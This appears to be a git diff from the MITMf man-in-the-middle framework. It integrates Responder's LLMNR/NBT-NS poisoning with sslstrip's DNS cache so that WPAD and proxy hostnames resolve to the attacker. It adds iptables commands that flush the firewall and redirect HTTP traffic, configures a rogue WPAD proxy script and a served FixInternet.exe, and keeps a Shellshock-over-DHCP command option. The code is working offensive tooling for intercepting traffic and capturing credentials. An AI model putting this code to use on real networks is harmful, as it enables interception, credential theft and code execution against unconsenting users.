diff --git a/libs/responder/Denied.html b/config/responder/Denied.html similarity index 100% rename from libs/responder/Denied.html rename to config/responder/Denied.html diff --git a/libs/responder/FixInternet.exe b/config/responder/FixInternet.exe similarity index 100% rename from libs/responder/FixInternet.exe rename to config/responder/FixInternet.exe diff --git a/config/certs/gen-self-signed-cert.sh b/config/responder/certs/gen-self-signed-cert.sh similarity index 100% rename from config/certs/gen-self-signed-cert.sh rename to config/responder/certs/gen-self-signed-cert.sh diff --git a/config/certs/responder.crt b/config/responder/certs/responder.crt similarity index 100% rename from config/certs/responder.crt rename to config/responder/certs/responder.crt diff --git a/config/certs/responder.key b/config/responder/certs/responder.key similarity index 100% rename from config/certs/responder.key rename to config/responder/certs/responder.key diff --git a/config/responder.conf b/config/responder/responder.conf similarity index 78% rename from config/responder.conf rename to config/responder/responder.conf index 0ac2e17..e292d25 100644 --- a/config/responder.conf +++ b/config/responder/responder.conf @@ -49,14 +49,11 @@ ExecFilename = FixInternet.exe ;Set your custom PAC script WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} ; -;HTML answer to inject. -;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format " Payload goes here...". -HTMLToServe = Loading [HTTPS Server] ; ;Change to use your certs -cert = config/certs/responder.crt -key = config/certs/responder.key +cert = config/responder/certs/responder.crt +key = config/responder/certs/responder.key ; diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 19d00fd..e5a6370 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -22,12 +22,13 @@ from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange +from libs.sslstrip.DnsCache import DnsCache VERSION = '2.1.2' #Config parsing config = ConfigParser.ConfigParser() -config.read("./config/responder.conf") +config.read("./config/responder/responder.conf") # Set some vars. On_Off = config.get('Responder Core', 'HTTP').upper() @@ -47,7 +48,7 @@ Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper() Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper() FILENAME = config.get('HTTP Server', 'Filename') WPAD_Script = config.get('HTTP Server', 'WPADScript') -HTMLToServe = config.get('HTTP Server', 'HTMLToServe') +#HTMLToServe = config.get('HTTP Server', 'HTMLToServe') RespondTo = config.get('Responder Core', 'RespondTo').strip() RespondTo.split(",") RespondToName = config.get('Responder Core', 'RespondToName').strip() @@ -57,8 +58,7 @@ DontRespondTo.split(",") DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip() DontRespondToName.split(",") -if HTMLToServe == None: - HTMLToServe = '' +HTMLToServe = '' if len(NumChal) is not 16: sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n") @@ -338,6 +338,7 @@ class NB(BaseRequestHandler): if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): if RespondToSpecificName(RespondToName) == False: + DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): @@ -358,6 +359,7 @@ class NB(BaseRequestHandler): logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): + DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): @@ -386,6 +388,7 @@ class NB(BaseRequestHandler): if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): + DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): @@ -406,6 +409,7 @@ class NB(BaseRequestHandler): logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: + DnsCache.getInstance().setCustomRes(Name.lower()) buff = NBT_Ans() buff.calculate(data) for x in range(1): @@ -2304,7 +2308,8 @@ def Is_HTTPS_On(SSL_On_Off): #Function name self-explanatory def Is_WPAD_On(on_off): if on_off == True: - return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler)) + return True + #return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler)) if on_off == False: return False @@ -2522,7 +2527,7 @@ def start_responder(options, ip_address): start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off - print start_message + logging.debug(start_message) try: num_thrd = 1 diff --git a/libs/sslstrip/DnsCache.py b/libs/sslstrip/DnsCache.py index 91931a4..6df81b8 100644 --- a/libs/sslstrip/DnsCache.py +++ b/libs/sslstrip/DnsCache.py @@ -1,28 +1,41 @@ +import logging class DnsCache: - ''' - The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. - ''' + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' - _instance = None + _instance = None - def __init__(self): - self.cache = {} + def __init__(self): + self.customAddress = None + self.cache = {} - def cacheResolution(self, host, address): - self.cache[host] = address + def cacheResolution(self, host, address): + self.cache[host] = address - def getCachedAddress(self, host): - if host in self.cache: - return self.cache[host] + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] - return None + return None - def getInstance(): - if DnsCache._instance == None: - DnsCache._instance = DnsCache() + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() - return DnsCache._instance + return DnsCache._instance - getInstance = staticmethod(getInstance) + def setCustomRes(self, host, ip_address=None): + if ip_address is not None: + self.cache[host] = ip_address + logging.debug("DNS entry set: %s -> %s" %(host, ip_address)) + else: + if self.customAddress is not None: + self.cache[host] = self.customAddress + + def setCustomAddress(self, ip_address): + self.customAddress = ip_address + + getInstance = staticmethod(getInstance) diff --git a/libs/sslstripplus/DnsCache.py b/libs/sslstripplus/DnsCache.py index 91931a4..45e19d5 100644 --- a/libs/sslstripplus/DnsCache.py +++ b/libs/sslstripplus/DnsCache.py @@ -1,3 +1,4 @@ +import logging class DnsCache: @@ -8,6 +9,7 @@ class DnsCache: _instance = None def __init__(self): + self.customAddress = None self.cache = {} def cacheResolution(self, host, address): @@ -25,4 +27,15 @@ class DnsCache: return DnsCache._instance - getInstance = staticmethod(getInstance) + def setCustomRes(self, host, ip_address=None): + if ip_address is not None: + self.cache[host] = ip_address + logging.debug("DNS entry set: %s -> %s" %(host, ip_address)) + else: + if self.customAddress is not None: + self.cache[host] = self.customAddress + + def setCustomAddress(self, ip_address): + self.customAddress = ip_address + + getInstance = staticmethod(getInstance) \ No newline at end of file diff --git a/mitmf.py b/mitmf.py index 4c55ff5..eb0d158 100755 --- a/mitmf.py +++ b/mitmf.py @@ -72,6 +72,10 @@ if __name__ == "__main__": #All our options should be loaded now, pass them onto plugins print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version + if ('--responder' and '--wpad') in sys.argv: + args.listen = 3141 + print "[*] Listening on port 3141 since --responder --wpad was passed" + load = [] try: for p in plugins: diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index c682d2d..cfa7040 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -13,11 +13,7 @@ import string from libs.bdfactory import pebin, elfbin from plugins.plugin import Plugin from tempfile import mkstemp - -try: - from configobj import ConfigObj -except: - sys.exit('[-] configobj library not installed!') +from configobj import ConfigObj class FilePwn(Plugin): diff --git a/plugins/Responder.py b/plugins/Responder.py index 03732c0..b0e2a3a 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -1,23 +1,24 @@ from plugins.plugin import Plugin import logging -import sys -import os logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr from libs.responder.Responder import start_responder +from libs.sslstrip.DnsCache import DnsCache +import sys +import os import threading class Responder(Plugin): name = "Responder" optname = "responder" desc = "Poison LLMNR, NBT-NS and MDNS requests" + #implements = ["handleResponse"] has_opts = True def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.interface = options.interface - self.ip_address = None if os.geteuid() != 0: sys.exit("[-] Responder plugin requires root privileges") @@ -30,6 +31,15 @@ class Responder(Plugin): sys.exit("[-] Error retrieving interface IP address: %s" % e) print "[*] Responder plugin online" + DnsCache.getInstance().setCustomAddress(self.ip_address) + DnsCache.getInstance().setCustomRes('wpad', self.ip_address) + DnsCache.getInstance().setCustomRes('ISAProxySrv', self.ip_address) + DnsCache.getInstance().setCustomRes('RespProxySrv', self.ip_address) + + if '--spoof' not in sys.argv: + print '[*] Setting up iptables' + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen) t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address)) t.setDaemon(True) @@ -44,4 +54,9 @@ class Responder(Plugin): options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") - options.add_argument('--verbose', dest="Verbose", default= False, action="store_true", help="More verbose") \ No newline at end of file + options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose") + + def finish(self): + if '--spoof' not in sys.argv: + print '\n[*] Flushing iptables' + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index ae9b6c7..58fd6a9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -338,7 +338,7 @@ class Spoof(Plugin): group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') - options.add_argument('--shellshock', type=str, dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--shellshock', type=str, dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]') options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')